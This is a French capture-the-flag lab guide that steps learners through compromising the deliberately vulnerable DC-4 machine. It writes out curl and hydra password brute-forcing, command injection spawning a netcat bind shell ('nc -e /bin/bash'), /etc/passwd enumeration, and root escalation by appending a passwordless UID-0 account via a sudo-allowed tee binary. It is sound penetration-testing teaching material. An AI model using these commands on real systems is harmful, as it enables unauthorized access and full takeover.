Hacker Lab


DC-4 est la quatrième machine volontairement vulnérable concue par @DCAU7.
C'est une machine de niveau débutant/intermédiaire qui permet de pratiquer le pentesting.

Accès à la VM
La VM n'est pas accessible à partir du xterm [Mon terminal].
Vous devez lancer une Kali sur votre PC et vous connecter avec un tunnel openvpn [Mon accès].
Ou bien, vous pouvez lancer une kali dans le browser [Ma Kali].

Démarrer la VM
Vérifiez que la VM est lancée sur la page [VMs], et pingez l'IP à partir de la Kali.

1 / 25 - Nmap
5

Lancer un nmap sans option sur dc-4
Le flag est la liste des ports ouverts sous la forme: a:b

2 / 25 - NGinx version
5

Lancer un nmap avec l'option -sV sur dc-4
Le flag est la version du serveur web sous la forme a.b.c

3 / 25 - HTML sources
5

Aller sur: http://yoloctf.org/proxy/dc-4/
Essayer de se connecter avec admin/admin.
Ouvrir les outils de développement du navigateur.
Firefox : Menu à droite /Developpement web/Outils de développement, puis onglet Réseau
Chrome: Menu à droite / Plus d'outils / Outils de développement, puis onglet Network
Identifier le message POST, et regarder le header de la réponse. Normalement c'est un 200 OK.
Regarder les sources de la page : click droit / Code source de la page
Le Flag est le texte contenu entre les balises HTML 'title'.

4 / 25 - Curl du site
5

Dans le terminal, faire

curl -v http:dc-4 
-v demande à curl de nous dumper les informations suivantes: 
* : commentaires 
> : Header du message envoyé 
< : Header de la réponse 
xx: Contenu de la réponse 

Le Flag est la valeur du champ 'Transfer-Encoding' du Header HTTP de la réponse.

5 / 25 - Formulaire HTML : URL de Post
5

Le code HTML de la page décrit le formulaire utilisé pour envoyer les données.

<form action="URL" method="post"> 

Le Flag est l'url a laquelle les données du formulaire sont envoyées.

6 / 25 - Formulaire HTML : Méthode Get ou Post
5

Le code HTML de la page décrit le formulaire utilisé pour envoyer les données.

<form action="URL" method="post"> 

Le Flag est la méthode post ou get utilisée pour envoyer les données.
post : les données sont dans le contenu du message HTML
get : les données sont dans l'url

7 / 25 - Formulaire HTML : 1er Paramètre Username
5
<input type="text" name="XXXXXXX" value=""> 
<input type="password" name="XXXXXX" value=""><p> 
<input type="submit" value="Submit"> 

Ces trois lignes décrivent un champ de saisie de texte, un champ de saisie de mot de passe et un bouton.
Elles décrivent le type, et donnent un nom aux paramètres qui seront envoyés.
Le Flag est le nom du paramètre qui va contenir le Username.

8 / 25 - Formulaire HTML : 2nd Paramètre Password
5
<input type="text" name="XXXXXXX" value=""> 
<input type="password" name="XXXXXX" value=""><p> 
<input type="submit" value="Submit"> 

Ces trois lignes décrivent un champ de saisie de texte, un champ de saisie de mot de passe et un bouton.
Elles décrivent le type, et donnent un nom aux paramètres qui seront envoyés.
Le Flag est le nom du paramètre qui va contenir le Password.

9 / 25 - Formulaire HTML : Curl XXX Found
5
curl -v -X XXMETHOD -F "XXPARAM1=admin" -F "XXPARAM2=megapassword"  http://dc-4/XXURL 

Envoyer le formulaire avec curl.
Le header de la réponse est différent de celui vu avec le navigateur.
Ce n'est pas 200 OK, mais un XXX Found

< HTTP/1.1 XXX Continue 
< HTTP/1.1 XXX Found 

Le flag est le code qui correspond à Found.

10 / 25 - Formulaire HTML : Curl Redirect
5
curl -v -X XXMETHOD -F "XXPARAM1=admin" -F "XXPARAM2=megapassword"  http://dc-4/XXURL 

Une réponse HTTP Found permet de faire une redirection.
L'entête location précise l'url vers laquelle nous sommes redirigés.
Cette redirection a été suivie de façon transparente par le navigateur.

< Location: xxxxx.php 

Le flag est la page vers laquelle nous sommes redirigés.

11 / 25 - Brute force du POST
5
for PASSWORD in $(cat /usr/share/wordlists/rockyou.txt); do echo $PASSWORD; done 

Ce script va lister les mots de passe de la liste Rockyou.

curl -s -X XXMETHOD -F "XXPARAM1=admin" -F "XXPARAM2=megapassword"  http://dc-4/XXURL | wc; 

On enlève -v pour ne plus afficher les entêtes, et on ajoute -s pour que la redirection vers le pipe soit silencieuse. Enfin on compte le nombre de caractères de la réponse.
Ajoute le curl à la suite du echo $PASSWORD; curlxxx |wc; done.
Identifie le mot de passe qui génère une réponse différente des autres...
Le flag est ce mot de passe.

Bien sur, on peut utiliser hydra ou burp, mais c'est si simple à la main, pourquoi faire compliqué ?
On peut aussi le faire avec quelques lignes de python.
Le jour ou il faut customiser un peu, on est prêt :)

12 / 25 - System Tools
5

Une fois loggués vous avez accés à un outil qui vous donne des infos sur le serveur.
Ca sens l'injection de commande à plein nez...
Regardez le code source de la page web. Le code est très propre. C'est rarement le cas.

<form method="post" action="command.php"> 
<strong>Run Command:</strong><br> 
<input type="radio" name="XXX" value="ls -l" checked="checked">List Files<br /> 
<input type="radio" name="XXX" value="du -h">Disk Usage<br /> 
<input type="radio" name="XXX" value="df -h">Disk Free<br /> 
<p> 
<input type="submit" name="submit" value="Run"> 
</form> 

Le formulaire va renvoyer un paramètre qui contient une commande shell.
Ouvrez les outils de développeur, lancez une commande et regardez dans l'onglet réseau comment le POST est envoyé.

Le flag est le nom du paramètre contenant la comande shell.

13 / 25 - Mon petit proxy
5

Dans les outils ouvrez votre proxy: [Mon proxy], et regardez le détail du POST.
Pour modifier le POST:

  • Selectionnez le POST. Il s'affiche dans la partie droite.
  • Cliquez sur l'icone [Stylo]
  • Modifiez radio=df+-h&submit=Run en radio=uname+-a&submit=Run
  • Les espaces sont remplacés par des +
  • Validez votre modification avec l'icone [Check]
  • Pressez Replay en haut à gauche.
  • Dans la partie droite, regardez l'onglet [Response]
    Le flag est la version du kernel sous la forme a.b.c-d-686.
    Une recherche sur Internet permet de savoir que ce kernel a étét publié le 11 Dec 2016.
    C'est vieux... Nous n'allons pas le faire, mais on pourait utiliser un exploit kernel pour passer root.
14 / 25 - Un Netcat en écoute
5

Injecter un netcat en prenant un port aléatoire entre 4400 et 5000 en espérant qu'il est libre.

nc -e /bin/bash -lvp 4444 

Netcat va ouvrir un shell et offrir un accès à distance.
Se connecter au shell que vous venez d'ouvrir.

nc dc-4 4444 

Upgradez votre nc vers un vrai shell.

python -c 'import pty; pty.spawn("/bin/bash")' 

Maintenant, mettre la commande nc en arrière plan avec un control-Z, puis vous demandez à votre shell d'envoyer les codes des touches (raw) sans les convertir (la touche entrée enverra un \cM qui sera interprété par le bash distant et non pas \n qui génère un affichage exotique), et remettre nc en premier plan (foreground).

Ctrl-Z 
stty raw -echo 
fg 


Le flag est le nom du compte sur lequel vous êtes connecté.

15 / 25 - Enumeration - liste des comptes
5

Une fois sur le serveur, vous prenez des infos.

uname -a 
cat /etc/passwd 

Le flag est la concaténation du nom de 3 comptes utilisateurs sous la forme: cxxx:jxxx:sxxx

16 / 25 - Enumeration - fichiers lisibles
5

Faire la liste de tout ce qui est lisible chez les utilisateurs.

ls -alR /root 
ls -alR /home 

Le flag est le nom d'un fichier qui doit vous interpeller de la forme xxx.bak.

Pro-tips: Faire un cat de ce fichier...

17 / 25 - Ssh bruteforce avec hydra
5

Quitter le nc

exit 

Copier les mots de passe dans votre terminal dans un fichier passwords.txt.
Utiliser hydra pour les tester en ssh.
Quitter le nc

hydra -l jim -P passwords.txt dc-4 ssh 

Le flag est le mot de passe ssh de jim.

18 / 25 - SSh jim
5

Se connecter en ssh avec le compte de jim.

ssh jim@dc-4 

Regarder les fichiers présents dans le répertoire home de jim.
Le flag est l'expéditeur du mail au format user@host

19 / 25 - Sticky bit
5

Faire une recherche des fichiers ayant un sticky bit activé.

find / -perm -4000 -exec ls -adl {} \; 2>/dev/null 

Un des fichiers ayant le sticky bit, se trouve dans le répertoire de jim.
Le flag est le nom du compte qui executera les commandes si on lance ce fichier.
Y a-t-il un intéret pour nous ?

20 / 25 - Mail
5

Le mail qui traine dans le répertoire de Jim n'est pas à sa place.
Jetons un oeil dans les répertoires mail du système.
Le flag est le mot de passe de Charles trouvé dans un mail

21 / 25 - Ssh Charles
5

Connectons nous sur le compte de Charles.
Regardons ses droits sudo.
Le flag est le chemin complet du programme que Charles peut executer avec les droits root.

22 / 25 - File
5

Nous venons de trouver un programme qui tourne en tant que root.
Que fait-il ?

file xxxxx 

File donne des infos sur le fichier. Text, image, binaire ,32/64 bit, avec ou sans infos ded ebug...
Le type de fichier est le second champ.

Le flag est le type de fichier

23 / 25 - Strings
5

C'est un fichier binaire, il contient souvent du texte, des mots de passe...
Extrayons toutes les chaines de caractères affichables qu'il contient.

strings xxxxx 

String permet d'identifier des arguments de ligne de commande.

Le flag est l'argument sous forme --xxxx qui permet d'afficher le menu d'aide.

24 / 25 - Help
5

Lancer le binaire avec l'argument pour afficher l'aide.
Ce binaire est une variante du programme tee qui permet de diriger stdin sur stdout ET vers un fichier.

echo "Salut le monde" > monfichier.txt 
cat monfichier.txt 
echo "Yolo" | tee monfichier.txt 
cat monfichier.txt 

Vous notez que vous venez d'ECRASER le fichier.

Le flag est l'argument sous forme -x qui permet d'ajouter une ligne à la fin d'un fichier SANS l'écraser.

25 / 25 - /etc/passwd
5

Utiliser ce binaire pour ajouter un compte admin sans mot de passe personnel sur le serveur.
Vous allez modifier un fichier système pour vous créer un compte root. C'est mieux de ne pas tout casser.
Une erreur format peut planter le système.
Effacer le fichier rend impossible de se connecter...
Dans ce cas, seule solution, effacer la VM SANS la sauver et la réinstancier.

echo "XXMONCOMPTEADMINPERSO::0:0:::/bin/bash" | sudo XXBINAIRESUDO -a /etc/passwd 
cat /etc/passwd 
su XXMONCOMPTEADMINPERSO 


Le flag est le titre du fichier flag/.txt qui trouve dans le répertoire home de root au format Wxx xxx!!!!